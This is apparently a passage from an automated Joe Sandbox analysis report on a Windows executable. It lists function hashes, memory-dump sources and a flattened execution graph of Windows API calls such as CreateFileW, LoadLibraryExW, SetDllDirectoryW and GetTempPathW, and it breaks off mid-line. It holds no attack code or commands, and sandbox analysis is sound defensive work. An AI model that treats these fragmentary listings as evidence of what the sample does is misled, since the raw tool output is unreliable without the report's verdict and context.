                                                                                                                                                                                                                                              • Opcode ID: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
                                                                                                                                                                                                                                              • Instruction ID: 2dbdec6f4646f501b2c7a4e1be9502e79f13b144532f54e65683e3395323f6ae
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: d6dc5ef3b9a701496246f0bbbe5215094a09db29d56a445c076fb19df1080212
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 9F21D263A186C1C2EB209B11F44426DA3B1FBC4B44F958239DA8C8F694DF7EE9458F80
                                                                                                                                                                                                                                              Function 00007FF666DDFDB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: ExceptionFileHeaderRaise
                                                                                                                                                                                                                                              • String ID: csm
                                                                                                                                                                                                                                              • API String ID: 2573137834-1018135373
                                                                                                                                                                                                                                              • Opcode ID: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                              • Instruction ID: 1b6595b2e4853b488633649e3c2d09c80d53bb42815ba9645020b03f6d64f3e0
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 4f0f6445cfedea8dceb7eb9436a550d57130d2c9509dbddfada5299d94659d4a
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: F3111932618B81C2EB618B15F440269B7E4FBC8B88F584230DE8D8B769EF3DD5518F00
                                                                                                                                                                                                                                              Function 00007FF666DF07AC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                              • Source File: 00000000.00000002.1898286649.00007FF666DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF666DD0000, based on PE: true
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898246791.00007FF666DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898336639.00007FF666DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898379632.00007FF666E12000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E14000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              • Associated: 00000000.00000002.1898453875.00007FF666E19000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                              • Snapshot File: hcaresult_0_2_7ff666dd0000_chos.jbxd
                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                              • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                                                                                                                                              • String ID: :
                                                                                                                                                                                                                                              • API String ID: 2595371189-336475711
                                                                                                                                                                                                                                              • Opcode ID: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                              • Instruction ID: 13e1b0857d95ce5ee381ae8bf4d98d152bc79a5c7a39c132d99e9b440e1b8b05
                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 12447209ac998d916ea5af24bee96286b8310982615a7f3bb8f9e7bff02e83a7
                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 7F012C62D1C643C6F720AB60B46627E63B0EF88748F850236E64DCF695EE3EE5448E54

                                                                                                                                                                                                                                              Execution Graph

                                                                                                                                                                                                                                              Execution Coverage:10.3%
                                                                                                                                                                                                                                              Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                              Signature Coverage:0%
                                                                                                                                                                                                                                              Total number of Nodes:2000
                                                                                                                                                                                                                                              Total number of Limit Nodes:62
                                                                                                                                                                                                                                              execution_graph 16128 7ff7fd745698 16129 7ff7fd7456b2 16128->16129 16130 7ff7fd7456cf 16128->16130 16179 7ff7fd744f58 16129->16179 16130->16129 16132 7ff7fd7456e2 CreateFileW 16130->16132 16134 7ff7fd74574c 16132->16134 16135 7ff7fd745716 16132->16135 16182 7ff7fd745c74 16134->16182 16153 7ff7fd7457ec GetFileType 16135->16153 16137 7ff7fd744f78 _get_daylight 11 API calls 16140 7ff7fd7456bf 16137->16140 16144 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16140->16144 16142 7ff7fd745780 16208 7ff7fd745a34 16142->16208 16143 7ff7fd745755 16203 7ff7fd744eec 16143->16203 16148 7ff7fd7456ca 16144->16148 16145 7ff7fd74572b CloseHandle 16145->16148 16146 7ff7fd745741 CloseHandle 16146->16148 16152 7ff7fd74575f 16152->16148 16154 7ff7fd74583a 16153->16154 16155 7ff7fd7458f7 16153->16155 16156 7ff7fd745866 GetFileInformationByHandle 16154->16156 16160 7ff7fd745b70 21 API calls 16154->16160 16157 7ff7fd745921 16155->16157 16158 7ff7fd7458ff 16155->16158 16161 7ff7fd745912 GetLastError 16156->16161 16162 7ff7fd74588f 16156->16162 16159 7ff7fd745944 PeekNamedPipe 16157->16159 16178 7ff7fd7458e2 16157->16178 16158->16161 16163 7ff7fd745903 16158->16163 16159->16178 16165 7ff7fd745854 16160->16165 16164 7ff7fd744eec _fread_nolock 11 API calls 16161->16164 16166 7ff7fd745a34 51 API calls 16162->16166 16167 7ff7fd744f78 _get_daylight 11 API calls 16163->16167 16164->16178 16165->16156 16165->16178 16169 7ff7fd74589a 16166->16169 16167->16178 16168 7ff7fd73c5c0 _log10_special 8 API calls 16171 7ff7fd745724 16168->16171 16225 7ff7fd745994 16169->16225 16171->16145 16171->16146 16173 7ff7fd745994 10 API calls 16174 7ff7fd7458b9 16173->16174 16175 7ff7fd745994 10 API calls 16174->16175 16176 7ff7fd7458ca 16175->16176 16177 7ff7fd744f78 _get_daylight 11 API calls 16176->16177 16176->16178 16177->16178 16178->16168 16180 7ff7fd74b338 _get_daylight 11 API calls 16179->16180 16181 7ff7fd744f61 16180->16181 16181->16137 16183 7ff7fd745caa 16182->16183 16184 7ff7fd744f78 _get_daylight 11 API calls 16183->16184 16202 7ff7fd745d42 __std_exception_destroy 16183->16202 16185 7ff7fd745cbc 16184->16185 16188 7ff7fd744f78 _get_daylight 11 API calls 16185->16188 16186 7ff7fd73c5c0 _log10_special 8 API calls 16187 7ff7fd745751 16186->16187 16187->16142 16187->16143 16189 7ff7fd745cc4 16188->16189 16232 7ff7fd747e78 16189->16232 16191 7ff7fd745cd9 16192 7ff7fd745ceb 16191->16192 16193 7ff7fd745ce1 16191->16193 16195 7ff7fd744f78 _get_daylight 11 API calls 16192->16195 16194 7ff7fd744f78 _get_daylight 11 API calls 16193->16194 16198 7ff7fd745ce6 16194->16198 16196 7ff7fd745cf0 16195->16196 16197 7ff7fd744f78 _get_daylight 11 API calls 16196->16197 16196->16202 16199 7ff7fd745cfa 16197->16199 16200 7ff7fd745d34 GetDriveTypeW 16198->16200 16198->16202 16201 7ff7fd747e78 45 API calls 16199->16201 16200->16202 16201->16198 16202->16186 16204 7ff7fd74b338 _get_daylight 11 API calls 16203->16204 16205 7ff7fd744ef9 __free_lconv_num 16204->16205 16206 7ff7fd74b338 _get_daylight 11 API calls 16205->16206 16207 7ff7fd744f1b 16206->16207 16207->16152 16210 7ff7fd745a5c 16208->16210 16209 7ff7fd74578d 16218 7ff7fd745b70 16209->16218 16210->16209 16326 7ff7fd74f794 16210->16326 16212 7ff7fd745af0 16212->16209 16213 7ff7fd74f794 51 API calls 16212->16213 16214 7ff7fd745b03 16213->16214 16214->16209 16215 7ff7fd74f794 51 API calls 16214->16215 16216 7ff7fd745b16 16215->16216 16216->16209 16217 7ff7fd74f794 51 API calls 16216->16217 16217->16209 16219 7ff7fd745b8a 16218->16219 16220 7ff7fd745bc1 16219->16220 16221 7ff7fd745b9a 16219->16221 16222 7ff7fd74f628 21 API calls 16220->16222 16223 7ff7fd745baa 16221->16223 16224 7ff7fd744eec _fread_nolock 11 API calls 16221->16224 16222->16223 16223->16152 16224->16223 16226 7ff7fd7459bd FileTimeToSystemTime 16225->16226 16227 7ff7fd7459b0 16225->16227 16228 7ff7fd7459d1 SystemTimeToTzSpecificLocalTime 16226->16228 16229 7ff7fd7459b8 16226->16229 16227->16226 16227->16229 16228->16229 16230 7ff7fd73c5c0 _log10_special 8 API calls 16229->16230 16231 7ff7fd7458a9 16230->16231 16231->16173 16233 7ff7fd747f02 16232->16233 16234 7ff7fd747e94 16232->16234 16269 7ff7fd750830 16233->16269 16234->16233 16235 7ff7fd747e99 16234->16235 16237 7ff7fd747ece 16235->16237 16238 7ff7fd747eb1 16235->16238 16252 7ff7fd747cbc GetFullPathNameW 16237->16252 16244 7ff7fd747c48 GetFullPathNameW 16238->16244 16243 7ff7fd747ec6 __std_exception_destroy 16243->16191 16245 7ff7fd747c6e GetLastError 16244->16245 16246 7ff7fd747c84 16244->16246 16247 7ff7fd744eec _fread_nolock 11 API calls 16245->16247 16249 7ff7fd744f78 _get_daylight 11 API calls 16246->16249 16251 7ff7fd747c80 16246->16251 16248 7ff7fd747c7b 16247->16248 16250 7ff7fd744f78 _get_daylight 11 API calls 16248->16250 16249->16251 16250->16251 16251->16243 16253 7ff7fd747cef GetLastError 16252->16253 16258 7ff7fd747d05 __std_exception_destroy 16252->16258 16254 7ff7fd744eec _fread_nolock 11 API calls 16253->16254 16255 7ff7fd747cfc 16254->16255 16256 7ff7fd744f78 _get_daylight 11 API calls 16255->16256 16257 7ff7fd747d01 16256->16257 16260 7ff7fd747d94 16257->16260 16258->16257 16259 7ff7fd747d5f GetFullPathNameW 16258->16259 16259->16253 16259->16257 16263 7ff7fd747e08 memcpy_s 16260->16263 16264 7ff7fd747dbd memcpy_s 16260->16264 16261 7ff7fd747df1 16262 7ff7fd744f78 _get_daylight 11 API calls 16261->16262 16265 7ff7fd747df6 16262->16265 16263->16243 16264->16261 16264->16263 16266 7ff7fd747e2a 16264->16266 16267 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16265->16267 16266->16263 16268 7ff7fd744f78 _get_daylight 11 API calls 16266->16268 16267->16263 16268->16265 16272 7ff7fd750640 16269->16272 16273 7ff7fd75066b 16272->16273 16274 7ff7fd750682 16272->16274 16277 7ff7fd744f78 _get_daylight 11 API calls 16273->16277 16275 7ff7fd7506a7 16274->16275 16276 7ff7fd750686 16274->16276 16310 7ff7fd74f628 16275->16310 16298 7ff7fd7507ac 16276->16298 16280 7ff7fd750670 16277->16280 16283 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16280->16283 16282 7ff7fd7506ac 16286 7ff7fd750751 16282->16286 16293 7ff7fd7506d3 16282->16293 16297 7ff7fd75067b __std_exception_destroy 16283->16297 16284 7ff7fd75068f 16285 7ff7fd744f58 _fread_nolock 11 API calls 16284->16285 16287 7ff7fd750694 16285->16287 16286->16273 16288 7ff7fd750759 16286->16288 16290 7ff7fd744f78 _get_daylight 11 API calls 16287->16290 16291 7ff7fd747c48 13 API calls 16288->16291 16289 7ff7fd73c5c0 _log10_special 8 API calls 16292 7ff7fd7507a1 16289->16292 16290->16280 16291->16297 16292->16243 16294 7ff7fd747cbc 14 API calls 16293->16294 16295 7ff7fd750717 16294->16295 16296 7ff7fd747d94 37 API calls 16295->16296 16295->16297 16296->16297 16297->16289 16299 7ff7fd7507f6 16298->16299 16300 7ff7fd7507c6 16298->16300 16301 7ff7fd7507e1 16299->16301 16302 7ff7fd750801 GetDriveTypeW 16299->16302 16303 7ff7fd744f58 _fread_nolock 11 API calls 16300->16303 16306 7ff7fd73c5c0 _log10_special 8 API calls 16301->16306 16302->16301 16304 7ff7fd7507cb 16303->16304 16305 7ff7fd744f78 _get_daylight 11 API calls 16304->16305 16307 7ff7fd7507d6 16305->16307 16308 7ff7fd75068b 16306->16308 16309 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16307->16309 16308->16282 16308->16284 16309->16301 16324 7ff7fd75a540 16310->16324 16312 7ff7fd74f65e GetCurrentDirectoryW 16313 7ff7fd74f69c 16312->16313 16316 7ff7fd74f675 16312->16316 16314 7ff7fd74ec08 _get_daylight 11 API calls 16313->16314 16317 7ff7fd74f6ab 16314->16317 16315 7ff7fd73c5c0 _log10_special 8 API calls 16318 7ff7fd74f709 16315->16318 16316->16315 16319 7ff7fd74f6c4 16317->16319 16320 7ff7fd74f6b5 GetCurrentDirectoryW 16317->16320 16318->16282 16322 7ff7fd744f78 _get_daylight 11 API calls 16319->16322 16320->16319 16321 7ff7fd74f6c9 16320->16321 16323 7ff7fd74a9b8 __free_lconv_num 11 API calls 16321->16323 16322->16321 16323->16316 16325 7ff7fd75a530 16324->16325 16325->16312 16325->16325 16327 7ff7fd74f7c5 16326->16327 16328 7ff7fd74f7a1 16326->16328 16330 7ff7fd74f7ff 16327->16330 16333 7ff7fd74f81e 16327->16333 16328->16327 16329 7ff7fd74f7a6 16328->16329 16331 7ff7fd744f78 _get_daylight 11 API calls 16329->16331 16332 7ff7fd744f78 _get_daylight 11 API calls 16330->16332 16334 7ff7fd74f7ab 16331->16334 16335 7ff7fd74f804 16332->16335 16343 7ff7fd744fbc 16333->16343 16337 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16334->16337 16338 7ff7fd74a950 _invalid_parameter_noinfo 37 API calls 16335->16338 16339 7ff7fd74f7b6 16337->16339 16340 7ff7fd74f80f 16338->16340 16339->16212 16340->16212 16341 7ff7fd74f82b 16341->16340 16342 7ff7fd75054c 51 API calls 16341->16342 16342->16341 16344 7ff7fd744fdb 16343->16344 16345 7ff7fd744fe0 16343->16345 16344->16341 16345->16344 16351 7ff7fd74b1c0 GetLastError 16345->16351 16352 7ff7fd74b1e4 FlsGetValue 16351->16352 16353 7ff7fd74b201 FlsSetValue 16351->16353 16354 7ff7fd74b1fb 16352->16354 16370 7ff7fd74b1f1 16352->16370 16355 7ff7fd74b213 16353->16355 16353->16370 16354->16353 16357 7ff7fd74ec08 _get_daylight 11 API calls 16355->16357 16356 7ff7fd74b26d SetLastError 16358 7ff7fd74b28d 16356->16358 16359 7ff7fd744ffb 16356->16359 16360 7ff7fd74b222 16357->16360 16381 7ff7fd74a574 16358->16381 16373 7ff7fd74d9f4 16359->16373 16362 7ff7fd74b240 FlsSetValue 16360->16362 16363 7ff7fd74b230 FlsSetValue 16360->16363 16364 7ff7fd74b24c FlsSetValue 16362->16364 16365 7ff7fd74b25e 16362->16365 16367 7ff7fd74b239 16363->16367 16364->16367 16368 7ff7fd74af64 _get_daylight 11 API calls 16365->16368 16369 7ff7fd74a9b8 __free_lconv_num 11 API calls 16367->16369 16371 7ff7fd74b266 16368->16371 16369->16370 16370->16356 16372 7ff7fd74a9b8 __free_lconv_num 11 API calls 16371->16372 16372->16356 16374 7ff7fd74da09 16373->16374 16375 7ff7fd74501e 16373->16375 16374->16375 16425 7ff7fd753374 16374->16425 16377 7ff7fd74da60 16375->16377 16378 7ff7fd74da88 16377->16378 16379 7ff7fd74da75 16377->16379 16378->16344 16379->16378 16438 7ff7fd7526c0 16379->16438 16390 7ff7fd7536c0 16381->16390 16416 7ff7fd753678 16390->16416 16421 7ff7fd750348 EnterCriticalSection 16416->16421 16426 7ff7fd74b1c0 __CxxCallCatchBlock 45 API calls 16425->16426 16427 7ff7fd753383 16426->16427 16428 7ff7fd7533ce 16427->16428 16437 7ff7fd750348 EnterCriticalSection 16427->16437 16428->16375 16439 7ff7fd74b1c0 __CxxCallCatchBlock 45 API calls 16438->16439 16440 7ff7fd7526c9 16439->16440 20588 7ff7fd751720 20599 7ff7fd757454 20588->20599 20600 7ff7fd757461 20599->20600 20601 7ff7fd74a9b8 __free_lconv_num 11 API calls 20600->20601 20602 7ff7fd75747d 20600->20602 20601->20600 20603 7ff7fd74a9b8 __free_lconv_num 11 API calls 20602->20603 20604 7ff7fd751729 20602->20604 20603->20602 20605 7ff7fd750348 EnterCriticalSection 20604->20605 17125 7ff7fd73ccac 17146 7ff7fd73ce7c 17125->17146 17128 7ff7fd73cdf8 17300 7ff7fd73d19c IsProcessorFeaturePresent 17128->17300 17129 7ff7fd73ccc8 __scrt_acquire_startup_lock 17131 7ff7fd73ce02 17129->17131 17136 7ff7fd73cce6 __scrt_release_startup_lock 17129->17136 17132 7ff7fd73d19c 7 API calls 17131->17132 17134 7ff7fd73ce0d __CxxCallCatchBlock 17132->17134 17133 7ff7fd73cd0b 17135 7ff7fd73cd91 17152 7ff7fd73d2e4 17135->17152 17136->17133 17136->17135 17289 7ff7fd749b9c 17136->17289 17138 7ff7fd73cd96 17155 7ff7fd731000 17138->17155 17143 7ff7fd73cdb9 17143->17134 17296 7ff7fd73d000 17143->17296 17147 7ff7fd73ce84 17146->17147 17148 7ff7fd73ce90 __scrt_dllmain_crt_thread_attach 17147->17148 17149 7ff7fd73ccc0 17148->17149 17150 7ff7fd73ce9d 17148->17150 17149->17128 17149->17129 17150->17149 17307 7ff7fd73d8f8 17150->17307 17153 7ff7fd75a540 memcpy_s 17152->17153 17154 7ff7fd73d2fb GetStartupInfoW 17153->17154 17154->17138 17156 7ff7fd731009 17155->17156 17334 7ff7fd7454f4 17156->17334 17158 7ff7fd7337fb 17341 7ff7fd7336b0 17158->17341 17163 7ff7fd73c5c0 _log10_special 8 API calls 17166 7ff7fd733ca7 17163->17166 17164 7ff7fd73391b 17517 7ff7fd7345b0 17164->17517 17165 7ff7fd73383c 17508 7ff7fd731c80 17165->17508 17294 7ff7fd73d328 GetModuleHandleW 17166->17294 17169 7ff7fd73385b 17413 7ff7fd738a20 17169->17413 17171 7ff7fd73396a 17540 7ff7fd732710 17171->17540 17175 7ff7fd73388e 17182 7ff7fd7338bb __std_exception_destroy 17175->17182 17512 7ff7fd738b90 17175->17512 17176 7ff7fd73395d 17177 7ff7fd733962 17176->17177 17178 7ff7fd733984 17176->17178 17536 7ff7fd7400bc 17177->17536 17180 7ff7fd731c80 49 API calls 17178->17180 17183 7ff7fd7339a3 17180->17183 17184 7ff7fd738a20 14 API calls 17182->17184 17191 7ff7fd7338de __std_exception_destroy 17182->17191 17188 7ff7fd731950 115 API calls 17183->17188 17184->17191 17186 7ff7fd733a0b 17187 7ff7fd738b90 40 API calls 17186->17187 17189 7ff7fd733a17 17187->17189 17190 7ff7fd7339ce 17188->17190 17192 7ff7fd738b90 40 API calls 17189->17192 17190->17169 17193 7ff7fd7339de 17190->17193 17197 7ff7fd73390e __std_exception_destroy 17191->17197 17426 7ff7fd738b30 17191->17426 17195 7ff7fd733a23 17192->17195 17194 7ff7fd732710 54 API calls 17193->17194 17237 7ff7fd733808 __std_exception_destroy 17194->17237 17196 7ff7fd738b90 40 API calls 17195->17196 17196->17197 17198 7ff7fd738a20 14 API calls 17197->17198 17199 7ff7fd733a3b 17198->17199 17200 7ff7fd733b2f 17199->17200 17201 7ff7fd733a60 __std_exception_destroy 17199->17201 17202 7ff7fd732710 54 API calls 17200->17202 17203 7ff7fd738b30 40 API calls 17201->17203 17211 7ff7fd733aab 17201->17211 17202->17237 17203->17211 17204 7ff7fd738a20 14 API calls 17205 7ff7fd733bf4 __std_exception_destroy 17204->17205 17206 7ff7fd733d41 17205->17206 17207 7ff7fd733c46 17205->17207 17551 7ff7fd7344d0 17206->17551 17208 7ff7fd733c50 17207->17208 17209 7ff7fd733cd4 17207->17209 17433 7ff7fd7390e0 17208->17433 17213 7ff7fd738a20 14 API calls 17209->17213 17211->17204 17216 7ff7fd733ce0 17213->17216 17214 7ff7fd733d4f 17217 7ff7fd733d71 17214->17217 17218 7ff7fd733d65 17214->17218 17219 7ff7fd733c61 17216->17219 17223 7ff7fd733ced 17216->17223 17221 7ff7fd731c80 49 API calls 17217->17221 17554 7ff7fd734620 17218->17554 17225 7ff7fd732710 54 API calls 17219->17225 17232 7ff7fd733cc8 __std_exception_destroy 17221->17232 17226 7ff7fd731c80 49 API calls 17223->17226 17225->17237 17229 7ff7fd733d0b 17226->17229 17227 7ff7fd733dc4 17483 7ff7fd739400 17227->17483 17229->17232 17233 7ff7fd733d12 17229->17233 17230 7ff7fd733da7 SetDllDirectoryW LoadLibraryExW 17230->17227 17231 7ff7fd733dd7 SetDllDirectoryW 17236 7ff7fd733e0a 17231->17236 17280 7ff7fd733e5a 17231->17280 17232->17227 17232->17230 17235 7ff7fd732710 54 API calls 17233->17235 17235->17237 17239 7ff7fd738a20 14 API calls 17236->17239 17237->17163 17238 7ff7fd733ffc 17241 7ff7fd734029 17238->17241 17242 7ff7fd734006 PostMessageW GetMessageW 17238->17242 17246 7ff7fd733e16 __std_exception_destroy 17239->17246 17240 7ff7fd733f1b 17488 7ff7fd7333c0 17240->17488 17631 7ff7fd733360 17241->17631 17242->17241 17247 7ff7fd733ef2 17246->17247 17251 7ff7fd733e4e 17246->17251 17250 7ff7fd738b30 40 API calls 17247->17250 17250->17280 17251->17280 17557 7ff7fd736db0 17251->17557 17280->17238 17280->17240 17290 7ff7fd749bb3 17289->17290 17291 7ff7fd749bd4 17289->17291 17290->17135 19556 7ff7fd74a448 17291->19556 17295 7ff7fd73d339 17294->17295 17295->17143 17298 7ff7fd73d011 17296->17298 17297 7ff7fd73cdd0 17297->17133 17298->17297 17299 7ff7fd73d8f8 7 API calls 17298->17299 17299->17297 17301 7ff7fd73d1c2 __CxxCallCatchBlock memcpy_s 17300->17301 17302 7ff7fd73d1e1 RtlCaptureContext RtlLookupFunctionEntry 17301->17302 17303 7ff7fd73d20a RtlVirtualUnwind 17302->17303 17304 7ff7fd73d246 memcpy_s 17302->17304 17303->17304 17305 7ff7fd73d278 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 17304->17305 17306 7ff7fd73d2c6 __CxxCallCatchBlock 17305->17306 17306->17131 17308 7ff7fd73d90a 17307->17308 17309 7ff7fd73d900 17307->17309 17308->17149 17313 7ff7fd73dc94 17309->17313 17314 7ff7fd73d905 17313->17314 17315 7ff7fd73dca3 17313->17315 17317 7ff7fd73dd00 17314->17317 17321 7ff7fd73ded0 17315->17321 17318 7ff7fd73dd2b 17317->17318 17319 7ff7fd73dd0e DeleteCriticalSection 17318->17319 17320 7ff7fd73dd2f 17318->17320 17319->17318 17320->17308 17325 7ff7fd73dd38 17321->17325 17326 7ff7fd73de22 TlsFree 17325->17326 17331 7ff7fd73dd7c __vcrt_InitializeCriticalSectionEx 17325->17331 17327 7ff7fd73ddaa LoadLibraryExW 17328 7ff7fd73de49 17327->17328 17329 7ff7fd73ddcb GetLastError 17327->17329 17330 7ff7fd73de69 GetProcAddress 17328->17330 17332 7ff7fd73de60 FreeLibrary 17328->17332 17329->17331 17330->17326 17331->17326 17331->17327 17331->17330 17333 7ff7fd73dded LoadLibraryExW 17331->17333 17332->17330 17333->17328 17333->17331 17335 7ff7fd74f4f0 17334->17335 17337 7ff7fd74f596 17335->17337 17339 7ff7fd74f543 17335->17339 17336 7ff7fd74a884 _invalid_parameter_noinfo 37 API calls 17340 7ff7fd74f56c 17336->17340 17644 7ff7fd74f3c8 17337->17644 17339->17336 17340->17158 17652 7ff7fd73c8c0 17341->17652 17344 7ff7fd7336eb GetLastError 17659 7ff7fd732c50 17344->17659 17345 7ff7fd733710 17654 7ff7fd7392f0 FindFirstFileExW 17345->17654 17348 7ff7fd733706 17353 7ff7fd73c5c0 _log10_special 8 API calls 17348->17353 17350 7ff7fd73377d 17685 7ff7fd7394b0 17350->17685 17351 7ff7fd733723 17674 7ff7fd739370 CreateFileW 17351->17674 17356 7ff7fd7337b5 17353->17356 17355 7ff7fd73378b 17355->17348 17361 7ff7fd732810 49 API calls 17355->17361 17356->17237 17363 7ff7fd731950 17356->17363 17358 7ff7fd73374c __vcrt_InitializeCriticalSectionEx 17358->17350 17359 7ff7fd733734 17677 7ff7fd732810 17359->17677 17361->17348 17364 7ff7fd7345b0 108 API calls 17363->17364 17365 7ff7fd731985 17364->17365 17366 7ff7fd731c43 17365->17366 17367 7ff7fd737f80 83 API calls 17365->17367 17368 7ff7fd73c5c0 _log10_special 8 API calls 17366->17368 17369 7ff7fd7319cb 17367->17369 17370 7ff7fd731c5e 17368->17370 17412 7ff7fd731a03 17369->17412 18030 7ff7fd740744 17369->18030 17370->17164 17370->17165 17372 7ff7fd7400bc 74 API calls 17372->17366 17373 7ff7fd7319e5 17374 7ff7fd7319e9 17373->17374 17375 7ff7fd731a08 17373->17375 17376 7ff7fd744f78 _get_daylight 11 API calls 17374->17376 18034 7ff7fd74040c 17375->18034 17379 7ff7fd7319ee 17376->17379 18037 7ff7fd732910 17379->18037 17380 7ff7fd731a45 17386 7ff7fd731a7b 17380->17386 17387 7ff7fd731a5c 17380->17387 17381 7ff7fd731a26 17383 7ff7fd744f78 _get_daylight 11 API calls 17381->17383 17384 7ff7fd731a2b 17383->17384 17385 7ff7fd732910 54 API calls 17384->17385 17385->17412 17389 7ff7fd731c80 49 API calls 17386->17389 17388 7ff7fd744f78 _get_daylight 11 API calls 17387->17388 17391 7ff7fd731a61 17388->17391 17390 7ff7fd731a92 17389->17390 17392 7ff7fd731c80 49 API calls 17390->17392 17393 7ff7fd732910 54 API calls 17391->17393 17394 7ff7fd731add 17392->17394 17393->17412 17395 7ff7fd740744 73 API calls 17394->17395 17396 7ff7fd731b01 17395->17396 17397 7ff7fd731b35 17396->17397 17398 7ff7fd731b16 17396->17398 17400 7ff7fd74040c _fread_nolock 53 API calls 17397->17400 17399 7ff7fd744f78 _get_daylight 11 API calls 17398->17399 17401 7ff7fd731b1b 17399->17401 17402 7ff7fd731b4a 17400->17402 17403 7ff7fd732910 54 API calls 17401->17403 17404 7ff7fd731b6f 17402->17404 17405 7ff7fd731b50 17402->17405 17403->17412 18052 7ff7fd740180 17404->18052 17406 7ff7fd744f78 _get_daylight 11 API calls 17405->17406 17408 7ff7fd731b55 17406->17408 17410 7ff7fd732910 54 API calls 17408->17410 17410->17412 17411 7ff7fd732710 54 API calls 17411->17412 17412->17372 17414 7ff7fd738a2a 17413->17414 17415 7ff7fd739400 2 API calls 17414->17415 17416 7ff7fd738a49 GetEnvironmentVariableW 17415->17416 17417 7ff7fd738ab2 17416->17417 17418 7ff7fd738a66 ExpandEnvironmentStringsW 17416->17418 17420 7ff7fd73c5c0 _log10_special 8 API calls 17417->17420 17418->17417 17419 7ff7fd738a88 17418->17419 17421 7ff7fd7394b0 2 API calls 17419->17421 17422 7ff7fd738ac4 17420->17422 17423 7ff7fd738a9a 17421->17423 17422->17175 17424 7ff7fd73c5c0 _log10_special 8 API calls 17423->17424 17425 7ff7fd738aaa 17424->17425 17425->17175 17427 7ff7fd739400 2 API calls 17426->17427 17428 7ff7fd738b4c 17427->17428 17429 7ff7fd739400 2 API calls 17428->17429 17430 7ff7fd738b5c 17429->17430 18267 7ff7fd7482a8 17430->18267 17432 7ff7fd738b6a __std_exception_destroy 17432->17186 17434 7ff7fd7390f5 17433->17434 18285 7ff7fd738760 GetCurrentProcess OpenProcessToken 17434->18285 17437 7ff7fd738760 7 API calls 17438 7ff7fd739121 17437->17438 17439 7ff7fd73913a 17438->17439 17440 7ff7fd739154 17438->17440 17441 7ff7fd7326b0 48 API calls 17439->17441 17442 7ff7fd7326b0 48 API calls 17440->17442 17443 7ff7fd739152 17441->17443 17444 7ff7fd739167 LocalFree LocalFree 17442->17444 17443->17444 17445 7ff7fd739183 17444->17445 17449 7ff7fd73918f 17444->17449 18295 7ff7fd732b50 17445->18295 17447 7ff7fd73c5c0 _log10_special 8 API calls 17448 7ff7fd733c55 17447->17448 17448->17219 17450 7ff7fd738850 17448->17450 17449->17447 17451 7ff7fd738868 17450->17451 17452 7ff7fd7388ea GetTempPathW GetCurrentProcessId 17451->17452 17453 7ff7fd73888c 17451->17453 18304 7ff7fd7325c0 17452->18304 17455 7ff7fd738a20 14 API calls 17453->17455 17456 7ff7fd738898 17455->17456 18311 7ff7fd7381c0 17456->18311 17466 7ff7fd738918 __std_exception_destroy 17469 7ff7fd738955 __std_exception_destroy 17466->17469 18308 7ff7fd748bd8 17466->18308 17484 7ff7fd739422 MultiByteToWideChar 17483->17484 17486 7ff7fd739446 17483->17486 17485 7ff7fd73945c __std_exception_destroy 17484->17485 17484->17486 17485->17231 17486->17485 17487 